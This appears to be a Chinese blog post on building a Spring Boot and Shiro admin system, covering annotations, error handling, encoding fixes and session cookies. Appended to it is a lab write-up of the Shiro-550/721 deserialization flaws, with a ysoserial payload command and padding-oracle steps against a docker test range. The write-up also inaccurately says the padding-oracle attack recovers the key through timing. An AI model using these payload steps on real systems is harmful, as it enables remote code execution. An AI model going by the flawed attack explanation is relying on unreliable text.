后台权限管理系统
相关:
spring boot + mybatis + layui + shiro后台权限管理系统
springboot + shiro之登录人数限制、登录判断重定向、session时间设置
springboot + shiro 动态更新用户信息
基于前篇,新增功能:
源码已集成到项目中:
github源码: https://github.com/wyait/manage.git
码云:https://gitee.com/wyait/manage.git
github对应项目源码目录:wyait-manage-1.2.0
码云对应项目源码目录:wyait-manage-1.2.0
shiro权限注解
Shiro 提供了相应的注解用于权限控制,如果使用这些注解就需要使用AOP 的功能来进行判断,如Spring AOP;Shiro 提供了Spring AOP 集成用于权限注解的解析和验证。
@RequiresAuthentication 表示当前Subject已经通过login 进行了身份验证;即Subject.isAuthenticated()返回true。 @RequiresUser 表示当前Subject已经身份验证或者通过记住我登录的。 @RequiresGuest 表示当前Subject没有身份验证或通过记住我登录过,即是游客身份。 @RequiresRoles(value={“admin”, “user”}, logical= Logical.AND) @RequiresRoles(value={“admin”}) @RequiresRoles({“admin“}) 表示当前Subject需要角色admin 和user。 @RequiresPermissions (value={“user:a”, “user:b”}, logical= Logical.OR) 表示当前Subject需要权限user:a或user:b。
Shiro的认证注解处理是有内定的处理顺序的,如果有多个注解的话,前面的通过了会继续检查后面的,若不通过则直接返回,处理顺序依次为(与实际声明顺序无关):
RequiresRoles RequiresPermissions RequiresAuthentication RequiresUser RequiresGuest
以上注解既可以用在controller中,也可以用在service中使用;
建议将shiro注解放在controller中,因为如果service层使用了spring的事物注解,那么shiro注解将无效。
shiro权限注解要生效,必须配置springAOP通过设置shiro的SecurityManager进行权限验证。
/** * * @描述:开启Shiro的注解(如@RequiresRoles,@RequiresPermissions),需借助SpringAOP扫描使用Shiro注解的类,并在必要时进行安全逻辑验证 * 配置以下两个bean(DefaultAdvisorAutoProxyCreator和AuthorizationAttributeSourceAdvisor)即可实现此功能 * </br>Enable Shiro Annotations for Spring-configured beans. Only run after the lifecycleBeanProcessor(保证实现了Shiro内部lifecycle函数的bean执行) has run * </br>不使用注解的话,可以注释掉这两个配置 * @创建人:wyait * @创建时间:2018年5月21日 下午6:07:56 * @return */ @Bean public DefaultAdvisorAutoProxyCreator advisorAutoProxyCreator() { DefaultAdvisorAutoProxyCreator advisorAutoProxyCreator = new DefaultAdvisorAutoProxyCreator(); advisorAutoProxyCreator.setProxyTargetClass(true); return advisorAutoProxyCreator; } @Bean public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor() { AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor = new AuthorizationAttributeSourceAdvisor(); authorizationAttributeSourceAdvisor.setSecurityManager(securityManager()); return authorizationAttributeSourceAdvisor; }
场景:当用户正常访问网站时,因为某种原因后端出现exception的时候,直接暴露异常信息或页面显示给用户;
这种操作体验不是我们想要的。所以要对异常进行统一管理,能提高用户体验的同时,后台能详细定位到异常的问题点。
springboot异常概况
Spring Boot提供了默认的统一错误页面,这是Spring MVC没有提供的。在理解了Spring Boot提供的错误处理相关内容之后,我们可以方便的定义自己的错误返回的格式和内容。
编写by zero异常
在home页面,手动创建两个异常:普通异常和异步异常!
<p> 普通请求异常: <a href="/error/getError">点击</a> </p> <p> ajax异步请求异常: <a href="javascript:void(0)" onclick="ajaxError()">点击</a> </p> ... //js代码 function ajaxError(){ $.get("/error/ajaxError",function(data){ layer.alert(data); }); }
/** * * @描述:普通请求异常 * @创建人:wyait * @创建时间:2018年5月24日 下午5:30:50 */ @RequestMapping("getError") public void toError(){ System.out.println(1/0); } /** * * @描述:异步异常 * @创建人:wyait * @创建时间:2018年5月24日 下午5:30:39 */ @RequestMapping("ajaxError") @ResponseBody public String ajaxError(){ System.out.println(1/0); return "异步请求成功!"; }
异常效果
console错误信息:
[2018-05-25 09:30:04.669][http-nio-8077-exec-8][ERROR][org.apache.juli.logging.DirectJDKLog][181]:Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.ArithmeticException: / by zero] with root cause java.lang.ArithmeticException: / by zero at com.wyait.manage.web.error.IndexErrorController.toError(IndexErrorController.java:18) ~[classes/:?] ... at java.lang.Thread.run(Thread.java:748) [?:1.8.0_131] ... [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)] [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)] [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' ... [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][263]:Requested media types are [text/html, text/html;q=0.8] based on Accept header types and producible media types [text/html]) [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][263]:Requested media types are [text/html, text/html;q=0.8] based on Accept header types and producible media types [text/html]) [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'error' [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'error' [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][338]:Returning [org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView@6ffd99fb] based on requested media type 'text/html' [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][338]:Returning [org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView@6ffd99fb] based on requested media type 'text/html' ...
通过日志可知,springboot返回的错误页面,是通过:org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml处理返回ModelAndView。
[2018-05-25 09:31:19.958][http-nio-8077-exec-6][ERROR][org.apache.juli.logging.DirectJDKLog][181]:Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.ArithmeticException: / by zero] with root cause java.lang.ArithmeticException: / by zero at com.wyait.manage.web.error.IndexErrorController.ajaxError(IndexErrorController.java:29) ~[classes/:?] ... at java.lang.Thread.run(Thread.java:748) [?:1.8.0_131] ... [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)] [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)] [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' ... [2018-05-25 09:31:19.961][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor][234]:Written [{timestamp=Fri May 25 09:31:19 CST 2018, status=500, error=Internal Server Error, exception=java.lang.ArithmeticException, message=/ by zero, path=/error/ajaxError}] as "application/json" using [org.springframework.http.converter.json.MappingJackson2HttpMessageConverter@2729eae5] [2018-05-25 09:31:19.961][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor][234]:Written [{timestamp=Fri May 25 09:31:19 CST 2018, status=500, error=Internal Server Error, exception=java.lang.ArithmeticException, message=/ by zero, path=/error/ajaxError}] as "application/json" using [org.springframework.http.converter.json.MappingJackson2HttpMessageConverter@2729eae5] [2018-05-25 09:31:19.961][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.DispatcherServlet][1048]:Null ModelAndView returned to DispatcherServlet with name 'dispatcherServlet': assuming HandlerAdapter completed request handling ...
通过日志可知,springboot返回的错误信息,是通过:org.springframework.boot.autoconfigure.web.BasicErrorController.error处理返回ResponseEntity<String,Object>。
springboot异常处理解析
查看org.springframework.boot.autoconfigure.web包下面的类,跟踪springboot对error异常处理机制。自动配置通过一个MVC error控制器处理错误
通过spring-boot-autoconfigure引入
查看springboot 处理error的类
springboot的自动配置,在web中处理error相关的自动配置类:ErrorMvcAutoConfiguration。查看与处理error相关的类:
ErrorAutoConfiguration类源码//TODO
ErrorAutoConfiguration注册的bean
//4个BEAN @Bean @ConditionalOnMissingBean(value = ErrorAttributes.class, search = SearchStrategy.CURRENT) public DefaultErrorAttributes errorAttributes() { return new DefaultErrorAttributes(); } @Bean @ConditionalOnMissingBean(value = ErrorController.class, search = SearchStrategy.CURRENT) public BasicErrorController basicErrorController(ErrorAttributes errorAttributes) { return new BasicErrorController(errorAttributes, this.serverProperties.getError(), this.errorViewResolvers); } @Bean public ErrorPageCustomizer errorPageCustomizer() { return new ErrorPageCustomizer(this.serverProperties); } @Bean public static PreserveErrorControllerTargetClassPostProcessor preserveErrorControllerTargetClassPostProcessor() { return new PreserveErrorControllerTargetClassPostProcessor(); }
@Order(Ordered.HIGHEST_PRECEDENCE) public class DefaultErrorAttributes implements ErrorAttributes, HandlerExceptionResolver, Ordered { ... }
ErrorAttributes:
public interface ErrorAttributes { Map<String, Object> getErrorAttributes(RequestAttributes requestAttributes, boolean includeStackTrace); Throwable getError(RequestAttributes requestAttributes); }
HandlerExceptionResolver:
public interface HandlerExceptionResolver { /** * Try to resolve the given exception that got thrown during handler execution, * returning a {@link ModelAndView} that represents a specific error page if appropriate. */ ModelAndView resolveException( HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex); }
DefaultErrorAttributes类:
debug跟踪源码:即DispatcherServlet在doDispatch过程中有异常抛出时:
一. 先由HandlerExceptionResolver.resolveException解析异常并保存在request中;
二. 再DefaultErrorAttributes.getErrorAttributes处理;DefaultErrorAttributes在处理过程中,从request中获取错误信息,将错误信息保存到RequestAttributes中;
三. 最后在获取错误信息getError(RequestAttributes)时,从RequestAttributes中取到错误信息。
@Controller @RequestMapping("${server.error.path:${error.path:/error}}") public class BasicErrorController extends AbstractErrorController { private final ErrorProperties errorProperties; ... @RequestMapping(produces = "text/html") public ModelAndView errorHtml(HttpServletRequest request, HttpServletResponse response) { HttpStatus status = getStatus(request); Map<String, Object> model = Collections.unmodifiableMap(getErrorAttributes( request, isIncludeStackTrace(request, MediaType.TEXT_HTML))); response.setStatus(status.value()); ModelAndView modelAndView = resolveErrorView(request, response, status, model); return (modelAndView == null ? new ModelAndView("error", model) : modelAndView); } @RequestMapping @ResponseBody public ResponseEntity<Map<String, Object>> error(HttpServletRequest request) { Map<String, Object> body = getErrorAttributes(request, isIncludeStackTrace(request, MediaType.ALL)); HttpStatus status = getStatus(request); return new ResponseEntity<Map<String, Object>>(body, status); } ... }
resolveErrorView方法(查找=error/“错误状态码”;的资源):
如果不是异常请求,会执行resolveErrorView方法;该方法会先在默认或配置的静态资源路径下查找error/HttpStatus(错误状态码)的资源文件,如果没有;使用默认的error页面。
public class DefaultErrorViewResolver implements ErrorViewResolver, Ordered { ... @Override public ModelAndView resolveErrorView(HttpServletRequest request, HttpStatus status, Map<String, Object> model) { //status:异常错误状态码 ModelAndView modelAndView = resolve(String.valueOf(status), model); if (modelAndView == null && SERIES_VIEWS.containsKey(status.series())) { modelAndView = resolve(SERIES_VIEWS.get(status.series()), model); } return modelAndView; } private ModelAndView resolve(String viewName, Map<String, Object> model) { //视图名称,默认是error/+“status”错误状态码;比如:error/500、error/404 String errorViewName = "error/" + viewName; TemplateAvailabilityProvider provider = this.templateAvailabilityProviders .getProvider(errorViewName, this.applicationContext); if (provider != null) { return new ModelAndView(errorViewName, model); } return resolveResource(errorViewName, model); } //在资源文件中查找error/500或error/404等页面 private ModelAndView resolveResource(String viewName, Map<String, Object> model) { for (String location : this.resourceProperties.getStaticLocations()) { try { Resource resource = this.applicationContext.getResource(location); resource = resource.createRelative(viewName + ".html"); if (resource.exists()) { return new ModelAndView(new HtmlResourceView(resource), model); } } catch (Exception ex) { } } return null; } ... }
BasicErrorController根据Accept头的内容,输出不同格式的错误响应。比如针对浏览器的请求生成html页面,针对其它请求生成json格式的返回。
可以通过配置error/HttpStatus页面实现自定义错误页面。
/** * {@link EmbeddedServletContainerCustomizer} that configures the container's error * pages. */ private static class ErrorPageCustomizer implements ErrorPageRegistrar, Ordered { private final ServerProperties properties; protected ErrorPageCustomizer(ServerProperties properties) { this.properties = properties; } @Override public void registerErrorPages(ErrorPageRegistry errorPageRegistry) { ErrorPage errorPage = new ErrorPage(this.properties.getServletPrefix() + this.properties.getError().getPath()); errorPageRegistry.addErrorPages(errorPage); } @Override public int getOrder() { return 0; } }
将错误页面注册到内嵌的tomcat的servlet容器中。
ErrorAutoConfiguration内的两个配置
//2个config配置 @Configuration static class DefaultErrorViewResolverConfiguration { private final ApplicationContext applicationContext; private final ResourceProperties resourceProperties; DefaultErrorViewResolverConfiguration(ApplicationContext applicationContext, ResourceProperties resourceProperties) { this.applicationContext = applicationContext; this.resourceProperties = resourceProperties; } @Bean @ConditionalOnBean(DispatcherServlet.class) @ConditionalOnMissingBean public DefaultErrorViewResolver conventionErrorViewResolver() { return new DefaultErrorViewResolver(this.applicationContext, this.resourceProperties); } } @Configuration @ConditionalOnProperty(prefix = "server.error.whitelabel", name = "enabled", matchIfMissing = true) @Conditional(ErrorTemplateMissingCondition.class) protected static class WhitelabelErrorViewConfiguration { private final SpelView defaultErrorView = new SpelView( "<html><body><h1>Whitelabel Error Page</h1>" + "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>" + "<div id='created'>${timestamp}</div>" + "<div>There was an unexpected error (type=${error}, status=${status}).</div>" + "<div>${message}</div></body></html>"); @Bean(name = "error") @ConditionalOnMissingBean(name = "error") public View defaultErrorView() { return this.defaultErrorView; } // If the user adds @EnableWebMvc then the bean name view resolver from // WebMvcAutoConfiguration disappears, so add it back in to avoid disappointment. @Bean @ConditionalOnMissingBean(BeanNameViewResolver.class) public BeanNameViewResolver beanNameViewResolver() { BeanNameViewResolver resolver = new BeanNameViewResolver(); resolver.setOrder(Ordered.LOWEST_PRECEDENCE - 10); return resolver; } }
如果Spring MVC在处理业务的过程中抛出异常,会被 Servlet 容器捕捉到,Servlet 容器再将请求转发给注册好的异常处理映射 /error 做响应处理。
springboot配置文件默认error相关配置
springboot配置文件application.properties中关于error默认配置:
server.error.include-stacktrace=never # When to include a "stacktrace" attribute. server.error.path=/error # Path of the error controller. server.error.whitelabel.enabled=true # Enable the default error page displayed in browsers in case of a server error.
springboot 自定义异常处理
通过跟踪springboot对异常处理得源码跟踪,根据业务需要,可以细分前端响应的错误页面,也可以统一使用/error页面+错误提示信息进行处理。
根据自己的需求自定义异常处理机制;具体可实施的操作如下:
1和2的方法可单独使用,也可以结合使用。
自定义异常页面
可以根据不同的错误状态码,在前端细分不同的响应界面给用户进行提示;资源路径必须是:静态资源路径下/error/HttpStats(比如:/error/404等)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"></meta> <title>404友情提示</title> </head> <body> <h1>访问的资源未找到(404)</h1> </body> </html>
404.html
500.html等,这里只演示404。
统一异常处理
普通请求,前端使用error页面+自定义错误响应信息;
其他请求(异步),统一自定义错误响应信息,规范处理异步响应的错误判断和处理。
使用springMVC注解ControllerAdvice
/** * * @项目名称:wyait-manage * @类名称:GlobalExceptionHandler * @类描述:统一异常处理,包括【普通调用和ajax调用】 * </br>ControllerAdvice来做controller内部的全局异常处理,但对于未进入controller前的异常,该处理方法是无法进行捕获处理的,SpringBoot提供了ErrorController的处理类来处理所有的异常(TODO)。 * </br>1.当普通调用时,跳转到自定义的错误页面;2.当ajax调用时,可返回约定的json数据对象,方便页面统一处理。 * @创建人:wyait * @创建时间:2018年5月22日 上午11:44:55 * @version: */ @ControllerAdvice public class GlobalExceptionHandler { private static final Logger logger = LoggerFactory .getLogger(GlobalExceptionHandler.class); public static final String DEFAULT_ERROR_VIEW = "error"; /** * * @描述:针对普通请求和ajax异步请求的异常进行处理 * @创建人:wyait * @创建时间:2018年5月22日 下午4:48:58 * @param req * @param e * @return * @throws Exception */ @ExceptionHandler(value = Exception.class) @ResponseBody public ModelAndView errorHandler(HttpServletRequest request, HttpServletResponse response, Exception e) { logger.debug(getClass().getName() + ".errorHandler】统一异常处理:request="+request); ModelAndView mv=new ModelAndView(); logger.info(getClass().getName() + ".errorHandler】统一异常处理:"+e.getMessage()); //1 获取错误状态码 HttpStatus httpStatus=getStatus(request); logger.info(getClass().getName() + ".errorHandler】统一异常处理!错误状态码httpStatus:"+httpStatus); //2 返回错误提示 ExceptionEnum ee=getMessage(httpStatus); //3 将错误信息放入mv中 mv.addObject("type", ee.getType()); mv.addObject("code", ee.getCode()); mv.addObject("msg", ee.getMsg()); if(!ShiroFilterUtils.isAjax(request)){ //不是异步请求 mv.setViewName(DEFAULT_ERROR_VIEW); logger.debug(getClass().getName() + ".errorHandler】统一异常处理:普通请求。"); } logger.debug(getClass().getName() + ".errorHandler】统一异常处理响应结果:MV="+mv); return mv; } ... }
运行测试:先走GlobalExceptionHandler(使用注解@ControllerAdvice)类里面的方法,而后又执行了BasicErrorController方法;被springboot自带的BasicErrorController覆盖。
实现springboot的AbstractErrorController
自定义实现AbstractErrorController,添加响应的错误提示信息。
@RequestMapping(produces = "text/html") public ModelAndView errorHtml(HttpServletRequest request, HttpServletResponse response) { ModelAndView mv = new ModelAndView(ERROR_PATH); /** model对象包含了异常信息 */ Map<String, Object> model = getErrorAttributes(request, isIncludeStackTrace(request, MediaType.TEXT_HTML)); // 1 获取错误状态码(也可以根据异常对象返回对应的错误信息) HttpStatus httpStatus = getStatus(request); // 2 返回错误提示 ExceptionEnum ee = getMessage(httpStatus); Result<String> result = new Result<String>( String.valueOf(ee.getType()), ee.getCode(), ee.getMsg()); // 3 将错误信息放入mv中 mv.addObject("result", result); logger.info("统一异常处理【" + getClass().getName() + ".errorHtml】统一异常处理!错误信息mv:" + mv); return mv; } @RequestMapping @ResponseBody //设置响应状态码为:200,结合前端约定的规范处理。也可不设置状态码,前端ajax调用使用error函数进行控制处理 @ResponseStatus(value=HttpStatus.OK) public Result<String> error(HttpServletRequest request, Exception e) { /** model对象包含了异常信息 */ Map<String, Object> model = getErrorAttributes(request, isIncludeStackTrace(request, MediaType.TEXT_HTML)); // 1 获取错误状态码(也可以根据异常对象返回对应的错误信息) HttpStatus httpStatus = getStatus(request); // 2 返回错误提示 ExceptionEnum ee = getMessage(httpStatus); Result<String> result = new Result<String>( String.valueOf(ee.getType()), ee.getCode(), ee.getMsg()); // 3 将错误信息返回 // ResponseEntity logger.info("统一异常处理【" + getClass().getName() + ".error】统一异常处理!错误信息result:" + result); return result; }
针对异步请求,统一指定响应状态码:200;也可以不指定,前端在处理异步请求的时候,可以通过ajax的error函数进行控制。
这里是继承的AbstractErrorController类,自定义实现统一异常处理,也可以直接实现ErrorController接口。
前端ajax异步统一处理:
通过约定,前端ajax异步请求,进行统一的错误处理。
/** * 针对不同的错误可结合业务自定义处理方式 * @param result * @returns {Boolean} */ function isError(result){ var flag=true; if(result && result.status){ flag=false; if(result.status == '-1' || result.status=='-101' || result.status=='400' || result.status=='404' || result.status=='500'){ layer.alert(result.data); }else if(result.status=='403'){ layer.alert(result.data,function(){ //跳转到未授权界面 window.location.href="/403"; }); } } return flag;//返回true }
使用方式:
... success:function(data){ //异常过滤处理 if(isError(data)){ alert(data); } }, ...
error.html页面:
<!DOCTYPE html> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <head th:include="layout :: htmlhead" th:with="title='wyait后台管理'"> <meta charset="UTF-8"></meta> <title th:text="${result.status}"></title> </head> <body> <h1>出错了</h1> <p><span th:text="${result.message}"></span>(<span th:text="${result.data}"></span>)</p> </body> </html>
测试效果
普通请求:
异步请求:
线上get请求乱码
问题描述
前台通过html页面,发送请求到后台查询数据,在日志中打印的sql语句显示传入的参数乱码:
SELECT ... [2018-05-11 09:15:00.582][http-bio-8280-exec-2][DEBUG][org.apache.ibatis.logging.jdbc.BaseJdbcLogger][159]:==> Parameters: 1(Integer), çè´º(String) [2018-05-11 09:15:00.585][http-bio-8280-exec-2][DEBUG][org.apache.ibatis.logging.jdbc.BaseJdbcLogger][159]:<== Total: 1 ...
本地windows开发环境测试没有乱码问题;
请求信息
前端页面发送get请求,浏览器默认对get请求路径进行URL编码处理。
后台Controller打印的日志
分页查询用户列表!搜索条件:userSearch:UserSearchDTO{page=1, limit=10, uname='çç', umobile='', insertTimeStart='', insertTimeEnd=''},page:1,每页记录数量limit:10,请求编码:UTF-8
Controller层在接收到这个uname参数时,已经是乱码,ISO-8859-1解码后的结果。
请求参数编码流程
具体编码细节:TODO
解决方案
项目编码配置【可以不配置】
开发前,默认必须统一编码环境;正常都是设置为utf-8。
spring boot 与spring mvc不同,在web应用中,spring boot默认的编码格式为UTF-8,而spring mvc的默认编码格式为iso-8859-1。
spring boot项目中如果没有特殊需求,该编码不需要修改。如果要强制其他编码格式,spring boot提供了设置方式:
# 默认utf-8配置 spring.http.encoding.force=true spring.http.encoding.charset=UTF-8 spring.http.encoding.enabled=true server.tomcat.uri-encoding=UTF-8
此时拦截器中返回的中文已经不乱码了,但是controller中返回的数据可能会依旧乱码。
@Bean public HttpMessageConverter<String> responseBodyConverter() { StringHttpMessageConverter converter = new StringHttpMessageConverter(Charset.forName("UTF-8")); return converter; } @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { super.configureMessageConverters(converters); converters.add(responseBodyConverter()); }
也可以在controller方法@RequestMapping上添加:
produces="text/plain;charset=UTF-8"
这种方法的弊端是限定了数据类型。
乱码解决方案
表单采用get方式提交,中文乱码解决方案:
param = new String(param.getBytes("iso8859-1"), "utf-8");
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
在这里添加一个属性:URIEncoding,将该属性值设置为UTF-8,即可让Tomcat(默认ISO-8859-1编码)以UTF-8的编码处理get请求。
修改完成后:
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" URIEncoding="UTF-8" />
//js代码 param = encodeURI(param); // alert("第一次URL编码:" + param); param = encodeURI(param); // alert("第二次URL编码:" + param);
后台代码:
//两次解码 URLDecoder.decode(URLDecoder.decode(param,"utf-8"),"utf-8");
以上四种解决方案,可结合具体情况进行使用。
no session异常
异常日志1:
[2018-05-21 18:00:51.574][http-nio-8280-exec-6][DEBUG][org.apache.shiro.web.servlet.SimpleCookie][389]:Found 'SHRIOSESSIONID' cookie value [fc6b7b64-6c59-4f82-853b-e2ca20135b99] [2018-05-21 18:00:51.575][http-nio-8280-exec-6][DEBUG][org.apache.shiro.mgt.DefaultSecurityManager][447]:Resolved SubjectContext context session is invalid. Ignoring and creating an anonymous (session-less) Subject instance. org.apache.shiro.session.UnknownSessionException: There is no session with id [fc6b7b64-6c59-4f82-853b-e2ca20135b99] at org.apache.shiro.session.mgt.eis.AbstractSessionDAO.readSession(AbstractSessionDAO.java:170) ~[shiro-all-1.3.1.jar:1.3.1]
异常日志2【偶尔出现】:
Caused by: javax.crypto.BadPaddingException: Given final block not properly padded at com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:811) ~[sunjce_provider.jar:1.7.0_85]
UnknownSessionException
UnknownSessionException: There is no session with id [...]
原因
结合项目配置,分析问题原因:
1,用户退出后,浏览器中的SHIROSESSIONID依然存在;
2,再次发送请求时,携带SHIROSESSIONID,会在shiro的DefaultWebSecurityManager.getSessionKey(context)中,逐层跟踪对应在sessionManager中session值,没有的话,最终在AbstractSessionDAO.readSession(sessionID)中抛出异常。
解决方案
//删除cookie Cookie co = new Cookie("username", ""); co.setMaxAge(0);// 设置立即过期 co.setPath("/");// 根目录,整个网站有效 servletResponse.addCookie(co);
@Bean public SimpleCookie sessionIdCookie() { //DefaultSecurityManager SimpleCookie simpleCookie = new SimpleCookie(); //如果在Cookie中设置了"HttpOnly"属性,那么通过程序(JS脚本、Applet等)将无法读取到Cookie信息,这样能防止XSS×××。 simpleCookie.setHttpOnly(true); simpleCookie.setName("SHRIOSESSIONID"); simpleCookie.setMaxAge(86400000*3); return simpleCookie; }
源码
源码已集成到项目中:
github源码: https://github.com/wyait/manage.git
码云:https://gitee.com/wyait/manage.git
github对应项目源码目录:wyait-manage-1.2.0
码云对应项目源码目录:wyait-manage-1.2.0
转载:https://blog.51cto.com/wyait/2125708
作者:wyait
shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。
特征:cookie中含有rememberMe字段
修复建议:
Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能,对于任何一个应用程序,Shiro 都可以提供全面的安全管理服务。
在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行。
Primary Cocnerns(基本关注点):
Supporting Features(辅助特性):
AES加密的密钥Key被硬编码在代码里
攻击机IP:192.168.0.109
靶机IP:192.168.72.128
1、访问靶机
存在Remember me选项,尝试抓包
2、漏洞利用
Github上工具很多,我们随便拿一款来进行验证
爆破密钥成功后,即可执行命令
Shiro550和Shiro721的区别是什么
Shiro550只需要通过碰撞key,爆破出来密钥,就可以进行利用
Shiro721的ase加密的key一般情况下猜不到,是系统随机生成的,并且当存在有效的用户信息时才会进入下一阶段的流程所以我们需要使用登录后的rememberMe Cookie,才可以进行下一步攻击
在Shiro721中,Shiro通过AES-128-CBC对cookie中的rememberMe字段进行加密,所以用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段,进行反序列化攻击,需要执行的命令越复杂,生成payload需要的时间就越长。
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后制作精心制作的RememberMe来执行Java反序列化攻击
登录网站,并从cookie中获取RememberMe。使用RememberMe cookie作为Padding Oracle Attack的前缀。加密syserial的序列化有效负载,以通过Padding Oracle Attack制作精心制作的RememberMe。请求带有新的RememberMe cookie的网站,以执行反序列化攻击。攻击者无需知道RememberMe加密的密码密钥。
属于AES加密算法的CBC模式,使用128位数据块为一组进行加密解密,即16字节明文,对应16字节密文,,明文加密时,如果数据不够16字节,则会将数据补全剩余字节
Padding Oracle攻击可以在没有密钥的情况下加密或解密密文
Shiro Padding Oracle Attack(Shiro填充Oracle攻击)是一种针对Apache Shiro身份验证框架的安全漏洞攻击。Apache Shiro是Java应用程序中广泛使用的身份验证和授权框架,用于管理用户会话、权限验证等功能。
Padding Oracle Attack(填充Oracle攻击)是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中,填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中,攻击者利用填充的响应信息来推断出加密算法中的秘密信息。
Shiro Padding Oracle Attack利用了Shiro框架中的身份验证过程中的一个漏洞,该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式,攻击者可以逐步推断出加密秘钥,并最终获取访问权限。
这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏,然后根据这些信息进行进一步的攻击。为了防止Shiro Padding Oracle Attack,建议及时更新Apache Shiro版本,确保已修复该漏洞,并采取其他安全措施,如使用安全的加密算法和密钥管理策略。
docker pull vulfocus/shiro-721
docker run -d -p 8080:8080 vulfocus/shiro-721
环境启动完成后,在本地浏览器访问靶场地址:your-ip:8080
0x01 登录成功后,我们从Cookie中获取到rememberMe字段的值
0x02 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/YikJiang" > payload.class
0x03 使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
